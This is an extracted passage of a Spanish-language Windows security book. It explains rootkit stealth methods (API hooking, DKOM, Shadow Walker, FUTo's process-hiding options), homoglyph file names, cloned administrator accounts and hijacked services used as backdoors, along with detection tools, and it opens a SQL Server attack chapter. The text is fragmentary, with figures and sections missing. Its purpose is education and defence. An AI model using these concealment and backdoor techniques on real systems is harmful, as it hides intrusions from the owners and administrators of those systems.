el flujo normal de ejecución dentro de un proceso no descrito en la figura 8-1.
En la figura 8-2 vemos el flujo normal de ejecución que ocurre cuando el código de un pro-
ceso trata de llamar a una función importada.
PROCESO.EXE
IMPORTADO.DLL
FunciónBibliotecaImportada1()
Tabla de direcciones de importación
IMPORTADO.DLL!FunciónBibliotecaImportada1
IMPORTADO.DLL!FunciónBibliotecaImportada2
IMPORTADO.DLL!FunciónBibliotecaImportada3
ROOTKIT.DLL
FunciónEnganchada1()
IMPORTADO.DLL!FunciónBibliotecaImportada1()
PROCESO.EXE
IMPORTADO.DLL
FunciónBibliotecaImportada1()
Tabla de direcciones de importación
IMPORTADO.DLL!FunciónBibliotecaImportada1
IMPORTADO.DLL!FunciónBibliotecaImportada2
IMPORTADO.DLL!FunciónBibliotecaImportada3
ROOTKIT.DLL
FunciónEnganchada1()
IMPORTADO.DLL!FunciónBibliotecaImportada1()
En la figura 8-4 se muestra el flujo normal de ejecución mientras una aplicación trata de usar
la API FindFirstFile()/FindNextFile() exportada por KERNEL32.DLL para presentar
una lista del contenido de una carpeta en el disco duro. Estas API terminan llamando a la fun-
ción importada NTQueryDirectoryFile() (de NTDLL.DLL), que luego se encarga de la
transición al modo de kernel.
Ahora, debido a que la API NTQueryDirectoryFile() devuelve información acerca de
un archivo en una carpeta, ésta sería una buena API para engancharse si quisiera asegurar que
los archivos permanecen ocultos de la API en modo de usuario que la llama.
En la figura 8-5 se muestra la manera en que Hacker Defender 1.0, un rootkit común en
modo de usuario, oculta archivos al engancharse a la API NTQueryDirectoryFile().
El parchado de la función en línea y los ganchos con la tabla de direcciones de importa-
ción (IAT, Import Address Table) son los métodos más comunes usados por los rootkits en modo
de usuario para pasar inadvertido. Ahora echemos un vistazo a algunas de las técnicas que se
están usando para subvertir el kernel.
DKOM
Para ayudarle a comprender la manera en que funcionan los rootkits que usan esta técnica, se
necesita un poco de antecedentes sobre la manera en que funciona Windows. Los procesos en
modo de usuario de Windows están respaldados por objetos en modo de kernel conocidos como
bloques de procesos ejecutivos (EPROCESS). Un bloque EPROCESS es una estructura en la me-
moria que contiene información acerca de un proceso en modo de usuario. Por ejemplo, un blo-
que EPROCESS para un proceso que contiene información acerca del tiempo de creación de ese
proceso, la ficha que el proceso está usando y otras varias cosas.
Figura 8-5 Ocultamiento de archivos en una carpeta con un parche de función en línea
Las estructuras de EPROCESS para todos los procesos en ejecución están organizadas en una
lista con doble vínculo: cada estructura de EPROCESS apunta a otra estructura (LIST_ENTRY),
que contiene punteros a la siguiente estructura de EPROCESS (FLINK) y a la estructura previa
(BLINK). Una vez que el código del rootkit ha localizado estos punteros en una estructura LIST_
ENTRY dada, es un ejercicio muy trivial seguir estos punteros en un bucle hasta que haya iden-
tificado una estructura de EPROCESS que regresa un proceso que desea ocultar o modificar y
reorganizar los punteros a vínculos hacia delante o hacia atrás para desvincular el bloque EPRO-
CESS del proceso de destino. En la figura 8-6 se describe la desvinculación de la estructura de
EPROCESS resaltada en el círculo, al cambiar el bloque EPROCESS al que apuntan sus punteros
hacia atrás (BLINK) y hacia adelante (FLINK).
Podría suponer que después de dejar “huérfano” un bloque de EPROCESS que respalda un
proceso en modo de usuario, mediante la manipulación de los punteros FLINK y BLINK conte-
nidos en la estructura LIST_ENTRY, el proceso en modo de usuario ya no se ejecutaría, pero, en
realidad, ¡lo hace! Esto es porque Windows programa los subprocesos de un proceso para ejecu-
ción en una CPU, y resulta que los subprocesos siguen programados aunque el bloque EPRO-
CESS del proceso ya no exista en la lista de doble vínculo de procesos en ejecución.
El rootkit FU también puede ocultar controladores al aplicar una técnica similar a la lista vinculada
Nota
de controladores en el kernel, que también puede navegarse y manipularse al seguir los punteros
FLINK y BLINK en las estructuras de LIST_ENTRY. Después de corregir los punteros, puede
cargarse el controlador e incluso puede eliminarse el archivo del disco, dejando muy poca evidencia
forense.
En 2006, una versión revisada de FU, llamada FUTo, fue anunciada por los autores en una
revista en línea en Uninformed.org. Esta versión de FU podía ocultar procesos de una manera
que les permitía permanecer sin que se les detectara por herramientas de detección de rootkits
populares (en la época) como Blacklight e IceSword. Puede leer más acerca de FUTo en www.
uninformed.org/?v=3&a=7&t=sumry. Aquí se muestra la ayuda de FUTo:
C:\FUTo\EXE>fu /?
Usage: fu
[-ph] #PID to hide the process with #PID
[-phng] #PID to hide the process with #PID. The process must
not have a GUI
[-phd] DRIVER_NAME to hide the named driver
[-pas] #PID to set the AUTH_ID to SYSTEM on process #PID
[-prl] to list the available privileges
[-prs] #PID #privilege_name to set privileges on process #PID
[-pss] #PID #account_name to add #account_name SID to process
#PID token
En la figura 8-7 se muestra una lista de bloques EPROCESS, incluido uno para NOTEPAD.
EXE, como se vería en un depurador de kernel.
Después de ejecutar FUTo y de usar el interruptor –ph para ocultar el PID asociado con NO-
TEPAD.EXE, vemos que ya no está enumerado por el depurador cuando se usa el comando
!process 0 0 para volcar todos los bloques EPROCESS (figura 8-8).
Para aprender más acerca de las estructuras mencionadas aquí, consulte el capítulo 6 de Microsoft
Nota Windows Internals, 4a edición. Para aprender más acerca de la manera en que el rootkit FU modifica
estas estructuras, consulte el capítulo 7 de Rootkits: Subverting the Windows Kernel.
En la figura 8-9 se muestra NOTEPAD.EXE aún visible en segundo plano, ¡mientras el Ad-
ministrador de tareas no lo despliega en la lista de procesos!
Figura 8-9 El Bloc de notas es visible en segundo plano, pero es invisible en el Administrador de
tareas
Shadow Walker
El método empleado por este rootkit para mentir acerca del contenido de la memoria virtual de-
pende de que se tenga la capacidad de desacoplar los datos y los búferes de búsqueda de traduc-
ción (TLB, Translation Lookaside Buffers) de la instrucción que son comunes en los procesadores
modernos, junto con la instalación de un nuevo manejador de fallas de página personalizado.
Un TLB es una caché de procesador diseñada para acelerar la traducción de direcciones virtuales
a físicas. Cuando se accede a una dirección de memoria en un programa de Windows, en reali-
dad se está accediendo a una dirección de memoria virtual en una página de memoria virtual.
Esta dirección debe traducirse luego en un marco de memoria física mediante un proceso más
bien complejo conocido como traducción de direcciones. TLB es una caché de alta velocidad de es-
tas asignaciones de direcciones virtuales a físicas.
Dos TLB están en realidad relacionadas: una para páginas de memoria que contienen ins-
trucciones (ITLB) y otra para páginas de memoria que contienen datos (DTLB). Cuando se hace
referencia a memoria que no puede resolverse mediante TLB, ocurre una falla de página, que
causa que el administrador de memoria virtual lleve la página del archivo de paginación a la
memoria física.
Cuando Shadow Walker está instalado, de inmediato instala un nuevo manejador de fallas
de páginas y luego vacía TLB, lo que obliga a que todos los intentos por localizar una página de
memoria virtual pasen por este manejador recién instalado. En ese punto, el código de Shadow
Walker puede interceptar todos los intentos por acceder a todas las páginas de memoria
(mediante el nuevo manejador de fallas de páginas) y luego puede determinar si el intento por
acceder a la memoria se está haciendo para ejecutar la página de memoria (a fin de ejecutar el
código del rootkit, por ejemplo) o simplemente para leer la página de memoria (a fin de rastrear
la página de memoria que busca el código del rootkit). Si se está haciendo un intento por leer una
página de memoria que el atacante desea ocultar (es decir, una página a la que se ha enganchado
o una que contiene código de rootkit), Shadow Walker podría “corregir” la DTLB para que re-
grese la copia “original” sin gancho de la página de memoria (o una página basura de memoria,
si se hace un intento por leer páginas de memoria que contienen el rootkit real). Si se está hacien-
do un intento por ejecutar código en una página de memoria a la que se ha enganchado o que
pertenece al rootkit, Shadow Walker llena la ITLB con el marco apropiado de memoria que per-
tenece al rootkit, y luego se ejecuta el código. En esencia, Shadow Walker usa las TLB divididas,
lo que significa que un determinado marco de memoria devuelve diferentes direcciones de me-
moria virtual si se hace un intento por leer esa página o por ejecutarla.
sugerencia Debido a los métodos usados por esta forma de sigilo, no es posible ocultarse o mentir acerca de las
páginas de memoria que respaldan el nuevo manejador de falla se páginas recién instalado. Por
tanto, la inspección del manejador de fallas de páginas del sistema operativo debe bastar para
detectar este rootkit.
Para conocer más información acerca de Shadow Walker, consulte Phrack 63: www.phrack.org/
Nota
archives/63/p63-0x08_Raising_The_Bar_For_Windows_Rootkit_Detection.txt.
• No pueden detectar ni eliminar el software para pasar inadvertido una vez que éste se
está ejecutando. Un buen ejemplo es el rootkit Rustock que muchos comercializadores
de antivirus no podían detectar ni limpiar a principios de 2007, muchos meses después
de su descubrimiento.
• Pueden detectarlo pero no pueden eliminarlo, una vez que se está ejecutando.
• Pueden eliminar y detectar el software para pasar inadvertido, una vez que se está
ejecutando. Un buen ejemplo de esto es el famoso rootkit First4Internet de Sony BMG,
que ahora pueden detectar y eliminar los comercializadores de antivirus y la Microsoft
Malicious Software Removal Tool, además de muchas versiones del rootkit Hacker
Defender.
sugerencia
Debido a que algunos rootkits sólo pueden ocultar archivos mientras están activos, un método para
detectar rootkits utilizando rastreadores de antivirus basados en firma o en heurística consiste en
montar el controlador sospechoso desde un sistema operativo limpio bien conocido y usar software
antivirus en esta imagen bien conocida para rastrear el volumen sospechoso mientras está fuera
de línea (es decir, sin que se haya iniciado en el sistema operativo instalado en el volumen). Otro
método menos confiable pero tal vez aún efectivo sería rastrear una máquina que se sospecha que
está comprometida a través de la red, al mapear sus unidades y rastrearlas desde un sistema
operativo bien conocido. Un rootkit en modo de kernel podría fácilmente filtrar la lista de archivos y
carpetas que se están enviando al sistema operativo remoto, pero rootkits de modo de usuario como
Hacker Defender y otros no podrán ocultarse de rastreos remotos de archivos.
Cuando se detecta una modificación, KPP inicia una revisión de errores para llevar al sistema
operativo a alertar al usuario y evitar que el software realice más acciones. KPP está presente sólo
en las versiones x64 de Windows debido al “nuevo inicio” permitido por esta nueva arquitectura
y la falta de software heredado que se vería afectado por esta nueva característica. Aún así, la in-
clusión de esta tecnología en Vista fue considerada por varios comercializadores de antivirus
como un movimiento controversial, porque creían que sus suites de software existentes queda-
rían hechas pedazos por esta directiva. Estos comercializadores creían que esta técnica sería tri-
vial para desalentar a los atacantes motivados, mientras que evitaría que una gran cantidad de
software AV/IDS e IPS funcionara en esta plataforma. Un comercializador, Athentium, incluso
fue más allá al escribir código de prueba de concepto que demostraba una técnica que pasaba por
alto Patchguard (técnica posteriormente bloqueada en la versión final de Windows Vista).
Desde el lanzamiento de Windows Vista, Microsoft se ha comprometido a trabajar con los
comercializadores de antivirus y productos de seguridad para atender sus preocupaciones y
ayudarlos a trabajar dentro del marco conceptual de KPP. Microsoft también se ha comprome-
tido a responder a intentos de pasar por alto o subvertir KPP y lanzará actualizaciones a través
de Windows Update para mejorar la resistencia de este código, conforme sea necesario.
Al momento de escribir esto, no conocemos ningún rootkit para Windows Vista de 64 bits
(con la excepción del rootkit basado en hipervisor Blue Pill), ni de ninguna manera de deshabi-
litar con éxito KPP, aunque se han conducido investigaciones interesantes en esta área.
Para conocer un análisis más detallado de KPP y análisis a profundidad de intentos previos de omitir
Nota sus protecciones, consulte los artículos de www.uninformed.org.
de cuentas de usuario, todas estas acciones requieren elevación, que incluye la adición a la fi-
cha del proceso de los privilegios en el nivel de Administrador eliminados y la ejecución en
un nivel de integridad más elevado (integridad Alta en comparación con Media).
Para conocer información adicional sobre Control de cuentas de usuario y los niveles de integridad
Nota
en Vista, consulte http://technet2.microsoft.com/WindowsVista/en/library/00d04415-2b2f-422c-
b70e-b18ff918c2811033.mspx?mfr=true.
C:\FUTo\FUTo_enhanced\FUTo\EXE>fu /?
Unable to Load DriverEl sistema no puede encontrar el archivo especificado.
C:\FUTo\FUTo_enhanced\FUTo\EXE>
Para este EXE en particular, no se pide al usuario que se eleve; el cargador simplemente falla
y posteriormente inicia el controlador del dispositivo con el resultado neto de que se protege al
usuario. La ejecución de FU desde un indicador de comandos elevado en Vista de 32 bits da
como resultado una experiencia completamente diferente, como se muestra en la figura 8-10.
Ahora, para ser justos, todo lo que esto indica es que después de la elevación, el controlador
de FUTo (msdirectx.sys) está cargado pero necesita actualizarse para que trabaje apropiadamen-
te en Windows Vista (lo que quizás incluye un poco más que la corrección de los desplazamien-
tos de algunas estructuras que FUTo necesita para parchar apropiadamente los objetos de kernel
que manipula).
En caso de que los autores o la comunidad en general de rootkits decidieran hacer esto y tra-
taran de crear una versión de FUTo o rootkits similares en modo de kernel para la plataforma de
64 bits, se enfrentarían a otro cambio en la seguridad que sólo se aplica a las versiones de 64 bits
de Vista: firma de código en modo de kernel (KMCS, Kernel-Mode Code Signing). Las ver-
siones de Vista de 64 bits imponen una nueva directiva que requiere que todos los módulos de
kernel estén firmados con un certificado especial de firma de código. Si un administrador trata
de cargar un controlador no firmado, aunque el intento se haga desde un proceso elevado, Vista
x64 evitará que el controlador se cargue.
Inicio seguro
Vista es el primer sistema operativo de Microsoft en ofrecer capacidad integrada de cifrado de
todo el volumen, y con esta capacidad se incluye una nueva característica de seguridad conocida
como inicio seguro. Durante el diseño de Vista, bootkits como Bootroot de eEye y el VBootkit eran
parte del modelo de amenaza. Con la introducción de los procesadores TPM 1.2 integrados en
muchas notebooks y tarjetas madre del sistema, ahora es posible mitigar estos tipos de ataques
y evitar que el sistema operativo empiece si se hace un intento por modificarlo durante el pro-
ceso de arranque. Cuando el BDE de Vista se ha habilitado en una máquina equipada con un
procesador TPM 1.2, el inicio seguro está habilitado e impuesto. El inicio seguro funciona al
medir un proceso de inicio bien conocido y almacenar estas medidas en el módulo TPM 1.2; es-
tas medidas son básicamente hashes SHA-1 del código que habrá de ejecutarse en el siguiente
paso del proceso de arranque. En arranques posteriores del sistema, estas medidas se toman
de nuevo y se comparan con las medidas bien conocidas, y si se encuentra que son diferentes, el
TPM no quitará el sello a las claves de cifrado necesarias para descifrar el volumen de arranque
del sistema operativo. En el escenario de VBootkit, donde el código de MBR se leerá de un CD
antes de leer el MBR confiable del disco duro, se medirá el código de MBR del CD (con hash de
SHA-1) y se almacenará en un registro de configuración de plataforma (PCR, Platform Configu-
ration Register) en el módulo TPM 1.2. El valor de hash almacenado en el PCR no será el valor
esperado, el módulo TPM 1.2 no quitará el sello a las claves necesarias para descifrar el sistema
operativo y se detendrá el proceso de arranque.
Para conocer más información acerca del inicio seguro en Windows Vista, consulte la revi-
sión técnica en http://download.microsoft.com/download/5/D/6/5D6EAF2B-7DDF-476B-
93DC-7CF0072878E6/secure-start_tech.doc.
sugerencia Un complemento de Windows Vista Ultimate Extra está disponible para descarga; se ocupa de
inicializar un módulo TPM 1.2 y reconfigurar Vista para usar BDE en modo de inicio seguro. El
volumen del sistema operativo puede incluso cifrarse en segundo plano mientras sigue trabajando
para minimizar el tiempo de inactividad.
El acceso a este objeto estaba primero restringido al modo de kernel en Windows Server 2003 SP1
Nota
y la directiva permanece sin cambio en Vista.
Una cosa es segura: será fascinante ver cómo se desarrollan las cosas en la versión de 64 bits
de Vista en los años siguientes y qué dirección tomarán los autores del malware.
HERRAMIENTAS Y TÉCNICAS
DE DETECCIÓN DE ROOTKITS
Durante el auge de los rootkits se dio un ascenso correspondiente en las herramientas para
detectarlos. Hace unos años, sólo existían unas cuantas herramientas públicas de detección de
rootkits, pero hoy en día existen decenas de ellas, desde individuales con antecedentes y
motivos dudosos hasta otras de respetables comercializadores de software. En esta sección,
trataremos de enumerar el método usado por algunas de las herramientas más populares, pro-
porcionarle recursos que puede usar para investigar esas herramientas y develar sugerencias
y trucos que pueden usarse para atrapar algunos de los rootkits más sucios de hoy en día, como
Rustock.
Esta técnica resultó ser devastadoramente efectiva contra archivos que ocultaban rootkits
como Hacker Defender y era una de las primeras herramientas que el equipo de seguridad de
PSS ejecutaba cuando respondía a posibles intrusiones. Poco después de que se desarrolló esta
herramienta, otra denominada Rootkit Revealer (RKR) fue lanzada por Mark Russinovich que
operaba, en esencia, bajo el mismo principio, pero extendía también la detección de vista cruza-
da al Registro. Con RKR, podría finalmente encontrar archivos ocultos y claves y valores del Re-
gistro. Esto resultó excesivamente útil en varios casos de hackeo que incluían rootkits de modo
de usuario, que cargaban como una DLL vía la clave del registro AppInit_DLLS pero escondien-
do sólo procesos, no archivos. Por lo general, estos rootkits tratarían activamente de ocultar la
DLL del rootkit al que se hacía referencia en el valor del Registro, evitando que se desplegara en
varias herramientas de edición del Registro. RKR podía evidenciar este sigilo y desplegar las
entradas ocultas.
Por último, Joanna Rutkowska llevó la detección de vista cruzada al siguiente nivel con el
lanzamiento de SVV 1.0. Esta herramienta podía usarse para detectar rootkits que modificaban
el código en la memoria, como el que trata de parchar funciones en la memoria. El concepto em-
pleado por SVV compara la sección .text de los binarios en disco (la parte del formato de archivo
ejecutable que contiene el código de los programas) con la representación de esta sección en me-
moria. Si difieren, usted sabe que el código se ha modificado en la memoria y que debe determi-
nar por qué.
sugerencia
El siguiente artículo de la base de conocimientos de Microsoft tiene información detallada sobre la
manera de usar estos comandos y lo que hay que buscar en la salida: http://support.microsoft.com/
kb/920925.
Después de que el sistema se ha reiniciado, debe ser visible un nuevo archivo en el directorio
Windows llamado ntbtlog.txt (si no aparece, eso resulta sospechoso), y debe contener una entra-
da para cada controlador de kernel que empezaría durante el proceso de arranque (a menos que
un rootkit lo haya eliminado explícitamente). En este punto, tiene un par de opciones para de-
tectar controladores ocultos. En primer lugar, puede aplicar el método basado en vista cruzada
para detectar el controlador oculto de Rustock para hacer una comparación entre la lista de con-
troladores que ve que se cargaron, de acuerdo con ntbtlog.txt, y la lista de controladores visibles
(tal como se despliega mediante otra herramienta como Autoruns.exe, mientras el sistema está
en línea). O podría simplemente aprovechar el hecho de que por lo general los controladores
de dispositivos no suelen cargarse desde un flujo de datos alterno y podría buscar la cadena
system32: en el archivo ntbtlog.txt.
A continuación se presenta una salida del ntbtlog.txt de una máquina que ejecuta el rootkit
Rustock:
En este ntbtlog.txt, puede ver que la máquina está ejecutando Rustock, Unreal y Hacker De-
fender:
Controlador cargado ACPI.sys
...
Controlador cargado \SystemRoot\System32\Drivers\Null.SYS
Controlador cargado \SystemRoot\System32\Drivers\Beep.SYS
Controlador cargado \SystemRoot\System32:18467 <-Rustock
Controlador cargado \SystemRoot\System32\drivers\vga.sys
Controlador cargado \SystemRoot\System32\Drivers\mnmdd.SYS
...
Controlador cargado \SystemRoot\system32\Drivers\userdump.sys
Controlador cargado \??\C:\:unreal.sys <-Unreal
No se ha cargado el controlador \SystemRoot\System32\DRIVERS\ipnat.sys
...
Controlador cargado \SystemRoot\system32\drivers\kmixer.sys
Controlador cargado \??\C:\Documents and Settings\User\Desktop\hxvariant\
hxdef100r\hxdefdrv.sys <-Hacker Defender
Un lector astuto observará que esto implica que los rootkits en modo de kernel necesitan marcarse
Nota como controladores de inicio de arranque para cargarse antes de los programas de BootExecute.
Imagine un programa que se carga de manera muy temprana en el proceso de arranque me-
diante esta clave del Registro y que luego toma una instantánea de los servicios y controladores
incluidos en el Registro antes de que se inicien éstos, y luego toma otra después de que el siste-
ma termina de arrancar ese programa y compara las dos instantáneas para encontrar cualquier
controlador o servicio que esté oculto. Esta técnica es utilizada por software como UnHackMe
4.0, que usa la herramienta de detección de rootkits Partizan.
En el juego del gato y el ratón que se juega constantemente entre los chicos buenos y los ma-
los, el ganador suele ser el que puede cargar primero su código, y este punto de entrada único
representa una oportunidad para ambos bandos.
Tipo: Información
Origen: Service Control Manager
Categoría: Ninguno
Id suceso: 7035
Fecha: 29/09/2008
Hora: 7:33:11 PM
Usuario: XPSP2OFFICE2003\Admin
Equipo: XPSP2OFFICE2003
Descripción:
Figura 8-14 WinObj desplegando el objeto de sección creado por Hacker Defender
sugerencia En un proceso, aún se pueden ejecutar programas y cargarse bibliotecas, sin importar la extensión
de archivo. Para probar esto, simplemente copie notepad.exe a una carpeta temporal y asígnele una
extensión diferente (pruebe a llamarlo NOTEPAD.GIF). Si abre un indicador de comandos y luego
escribe NOTEPAD.GIF, verá que se ejecuta el Bloc de notas.
Mientras cerramos este capítulo sobre la manera de pasar inadvertido, examinaremos algu-
nas de las maneras más inteligentes en que los hackers maliciosos pueden ocultarse a simple
vista, sin depender de técnicas tradicionales de rootkit. A menudo estos métodos de baja tecno-
logía pueden ser tan, o más, efectivos que emplear alguna forma de sigilo activo. La ventaja de
usar las técnicas documentadas aquí reduciría el riesgo de inestabilidad de la aplicación o el sis-
tema operativo, mientras que la desventaja sería la exposición a aplicaciones antivirus.
Ataques de homoglifos
Un homoglifo es un glifo muy similar a otro símbolo o glifo, pero que en realidad es muy diferen-
te. Los sistemas operativos representan los símbolos o glifos que despliegan en la pantalla varios
alfabetos e idiomas, usando internamente puntos de código de Unicode. Por ejemplo, la e mi-
núscula cirílica es representada por el punto de código Unicode U+0435 (U+00E5), mientras que
la e latina (la que usamos cuando desplegamos texto en español) está representada por el pun-
to de código de Unicode U+0065. La e cirílica se muestra en la figura 8-15 en la utilería Mapa de
caracteres de Windows (charmap.exe). Como opción predeterminada, en versiones en español
de Windows, estos dos glifos diferentes tienen un aspecto similar, pero como están represen-
tados internamente como puntos de código de Unicode diferentes, son muy distintos en el as-
pecto técnico.
Los atacantes maliciosos pueden explotar este fenómeno visual para tratar de ocultar sus bi-
narios maliciosos a simple vista. A menudo los atacantes que quieren ejecutar programas en un
equipo comprometido quieren que esos programas parezcan exactamente como programas legí-
timos que la gente está acostumbrada a ver en herramientas como el Administrador de tareas,
de modo que no les prestan ninguna atención especial. El problema es que en una carpeta es-
pecífica sólo puede haber un archivo con un nombre determinado. Un intento de crear un se-
gundo archivo con el mismo nombre da como resultado un error. Por ejemplo, suponga que un
atacante quiere colocar su puerta trasera en un sistema y llamarlo explorer.exe. Debido a que ya
existe el legítimo explorer.exe en la carpeta C:\WINDOWS como opción predeterminada,
el atacante tendría que colocar su versión parecida a explorer.exe en otra carpeta. Un adminis-
trador de sistema inteligente notaría que se está ejecutando una segunda copia de explorer.exe,
y que lo hace desde la carpeta equivocada. Para resolver este problema, un atacante malicioso
recurriría al uso de un homoglifo en una de las letras del nombre explorer.exe y luego colocaría
el archivo en la misma carpeta que el verdadero explorer.exe. En la figura 8-16, la e cirílica mi-
núscula se usa como homoglifo de la e minúscula latina para colocar otra copia del verdadero
explorer.exe en la carpeta Windows. Se parece al archivo real. (En la figura 8-16, el explorer.exe
real se muestra a la izquierda y el falso, que usa la e cirílica, aparece en el extremo derecho).
La ventaja (para el atacante) de usar esta técnica es que resulta muy simple crear archivos
con nombres que parezcan legítimos archivos del sistema; cuando estos archivos se ejecutan, se
ve que se están ejecutando desde el archivo apropiado (como se ven en utilerías como el Admi-
nistrador de tareas o el Explorador de procesos).
Aunque puede ser muy difícil detectar archivos que utilizan homoglifos en el Explorador, es
relativamente fácil cuando se usa el comando DIR en una shell de comandos, como se muestra
a continuación:
Tome nota de que la e cirílica está desplegada con un signo de interrogación (?) en la salida del
listado de DIR en la shell de comandos de la versión en español de Windows.
Puede imaginar otras variaciones interesantes de esta técnica (tal vez utilizando caracteres
no imprimibles (CR, LF, etc.) o incluso imprimibles pero invisibles como un espacio.
¿Qué pasa si un hacker malicioso cambió esa línea de comandos para señalar a una puerta
trasera y configuró el servicio para ejecutarse como la cuenta SYSTEM mientras deja el mismo
nombre y la misma descripción? ¿Y qué pasa si el hacker malicioso apunta el servicio a un archi-
vo llamado Explorer.exe que se ejecuta en la carpeta Windows, pero con una e cirílica? Una vez
más, no se necesita aquí un sigilo activo; el hacker simplemente ha cambiado el propósito de un
servicio existente para que ejecute la puerta trasera maliciosa. Muchos administradores saben
buscar manualmente servicios sospechosos, pero el servicio Alerter es muy sospechoso.
Figura 8-17 Regedit.exe ejecutándose como SYSTEM y desplegando los valores F y V de la cuenta
Administrador
Lo interesante acerca de este método es que la cuenta de usuario que se manipula de esta
manera no se muestra como miembro del grupo Administradores locales, pero cuando se usa
para inicio de sesión, tiene los mismos privilegios que la cuenta Administradores integrada, ha-
ciendo que sea una puerta trasera muy sigilosa que los atacantes pueden usar para comprometer
los sistemas.
No conocemos ninguna herramienta automatizada para identificar cuentas de Adminis-
tradores clonadas en este momento, pero la inspección manual puede realizarse al ejecutar el
Editor del Registro como SYSTEM (utilizando el programador AT con el interruptor/INTERAC-
TIVE para abrir la copia de CMD.EXE como SYSTEM y luego ejecutar REGEDIT.EXE desde la
shell CMD), exportar las claves del Registro para cada usuario y comparar manualmente los va-
lores de F y V para cada usuario con los de la cuenta integrada Administrador (figura 8-17).
Luego al secuestrar un servicio existente que se ejecute como la cuenta SYSTEM (tal vez uno
que no causaría extrañeza que se inicie de manera predeterminada, como el servicio Cliente de
seguimiento de vínculos distribuidos) y cambiarlo para que señale a la puerta trasera que colocó
en esta carpeta; puede ocultar de manera efectiva los archivos en el sistema de archivos de un
Administrador que trate de enumerar todos los archivos y las carpetas utilizando DIR /S. los
archivos se encuentran en una carpeta oculta y el servicio que ejecuta la puerta trasera es el que
se está esperando que se ejecute.
RESUMEN
El software para pasar inadvertido ha existido desde hace mucho tiempo y seguirá existiendo en
el futuro previsible. El moderno software para pasar inadvertido toma muchas formas, que van
desde los simple rootkits en modo de usuario, hasta los avanzados en modo de kernel, los que
se cargan desde registros de arranque de CD o los que están basados en hipervisores que llevan
el sistema operativo a una máquina virtual para pasar inadvertidos. Por lo general, cuanto antes
pueda cargarse un rootkit en el proceso de arranque y cuanto más profundo pueda engancharse
en el sistema operativo, más difícil será detectarlos o eliminarlo. Por esto, necesitamos mantener
el código malicioso que no es confiable fuera del kernel del sistema operativo. Algunos sistemas
operativos, como la versión de 64 bits de Windows Vista tratan de mantener fuera del kernel
todo el código, excepto los controladores firmados, empleando certificados emitidos por autori-
dades de certificación confiables, además de evitar que código firmado trate de parchar o modi-
ficar funciones y estructuras de datos en el espacio de memoria del kernel. Además, casi todos
los rootkits necesitan privilegios de Administrador para lograr sigilo y persistencia, de modo
que es más importante que nunca iniciar sesión con cuentas estándar de usuario, una tarea faci-
litada por el Control de cuentas de usuario de Vista.
En años recientes, muchas herramientas de detección de rootkits muy efectivas se han crea-
do en gran medida como respuesta al desafío planteado por el software bien escrito para pasar
inadvertido. Aún hay una considerable cantidad de maneras de detectar muchos rootkits comu-
nes sin tener que depender de software especializado, y suelen incluir el descubrimiento o la
detección de algo que el autor del rootkit olvidó o no es capaz de ocultar. Algunas formas de si-
gilo, debido a la técnica usada, son inherentemente difíciles de implementar de manera apropia-
da y pueden causar inestabilidad que lleva a fallas en el sistema operativo o la aplicación en
máquina de uso pesado o con varios procesadores. La inestabilidad del sistema operativo y la
aplicación combinada con herramientas poderosas de detección de rootkits pueden llevar a una
éstas y otras razones, algunos hackers malicioso deciden no usar tecnología para pasar inadver-
tidos y, en cambio, tratan de camuflar su malware o combinarlo con el entorno en un intento de
pasar inadvertido.
“Un juego extraño. La única jugada ganadora es no jugar”.
—W.O.P.R, War Games
Referencia Ubicación
Referencia Ubicación
capítulo 9
D E S Q L
E O
HACK VER
SER
273
L
os desfiguramientos de sitios Web son noticias viejas. Todos hemos visto los titulares en los
últimos años: hackers han irrumpido en sitios universitarios, sitios comerciales en línea y
sitios de aplicaciones gubernamentales y han utilizado los datos para fines nefastos. Por su-
puesto, esto era inevitable. Los desfiguramientos son una manera detestable de ganar dinero (y el
robo de información es muy lucrativo). Con enormes penas para la develación de la información
y recompensas sustanciales para los atacantes, las bases de datos están más en riesgo que nunca.
En el caso de las compañías que utilizan tecnologías de Microsoft, un almacén de datos po-
pular es la base de datos relacional SQL Server de Microsoft, además de las diversas edicio-
nes gratuitas de SQL Server (Microsoft Data Engine, que ahora se denomina SQL Server Express
Edition en SQL 2005) que se incluyen en más de 240 paquetes de software conocidos. SQL Server
ha sido muy prolífico y ahora, al parecer, tiene casi 23% de participación en el mercado, de
acuerdo con los estimados de Gartner (www.gartner.com). Por desgracia, a pesar de todas las
preocupaciones acerca de la escalabilidad y la confiabilidad que casi todas las empresas tienen
cuando planean e implementan SQL Server, a menudo pasan por alto un ingrediente en cual-
quier despliegue estable de SQL Server: la seguridad. Es una tragedia común que muchas em-
presas dedican una gran cantidad de tiempo y esfuerzo a proteger las puertas del castillo
mientras dejan la bóveda real completamente abierta.
Como nos lo enseñó el gusano Slammer de SQL (www.cert.org/advisories/CA-2003-04.
html), otras repercusiones potenciales son posibles cuando se deja de lado la seguridad en SQL
Server. Cuando una vulnerabilidad en SQL Server con seis meses de antigüedad puede poner
casi de rodillas a Internet, dos cosas se vuelven obvias: hay una gran cantidad de instalaciones
de SQL Server y, al parecer, nadie ha logrado mantenerlas adecuadamente seguras.
En este capítulo, delineamos la manera en que los atacantes recopilan información, atacan y
comprometen SQL Server, seguido por soluciones para mitigar estas amenazas. Empezamos con
un estudio de caso que delinea las metodologías comunes de ataque, seguido por un análisis
más a profundidad de los conceptos de seguridad en SQL, las herramientas y técnicas de hackeo
de SQL y las contramedidas. Seguimos detallando las tecnologías, herramientas y conceptos
para que SQL Server sea seguro.
Se ha demostrado que las aplicaciones inseguras han expuesto a instalaciones de SQL Server
que de otra manera serían seguras. Las aplicaciones que usan SQL Server como fachada pueden
ser atacadas mediante inyección de SQL, en que los atacantes van directamente a sus datos casi
sin ser detectados en muchos casos. Prestamos especial atención a la manera en que se hace esto
y lo que puede hacer para proteger sus activos.
préstamos y los dirige con un corredor local. Ella no encontró nada explotable en el sitio público
y supuso que había recibido una gran cantidad de escrutinio.
Jade también aprendió que había un portal de ventas que era usado por empleados internos.
Con base en lo que sabía, el portal de ventas parecía un mejor objetivo. Los sistemas internos
nunca parecen tener el mismo escrutinio de seguridad que los sistemas que enfrentan al público,
y un portal de ventas era más probable que tuviera los datos históricos que necesitaba. Sin em-
bargo, había un problema: no encontraba una referencia a la ubicación real de este portal.
A sólo unos días de que venciera el contrato, Jade decidió que era tiempo de ser creativa. Una
de las sucursales regionales importantes de esta compañía estaba en la misma ciudad que ella, de
modo que llevó su laptop inalámbrica y se encaminó a la cafetería más cercana a su destino. Con
toda seguridad, encontró un local grande en su edificio que ofrecía acceso inalámbrico a Internet
a cualquier persona que deseara pagar cinco dólares por un mokaccino. Tenía la esperanza de
que un empleado de la compañía con una laptop mal configurada entrara a tomar un refrigerio.
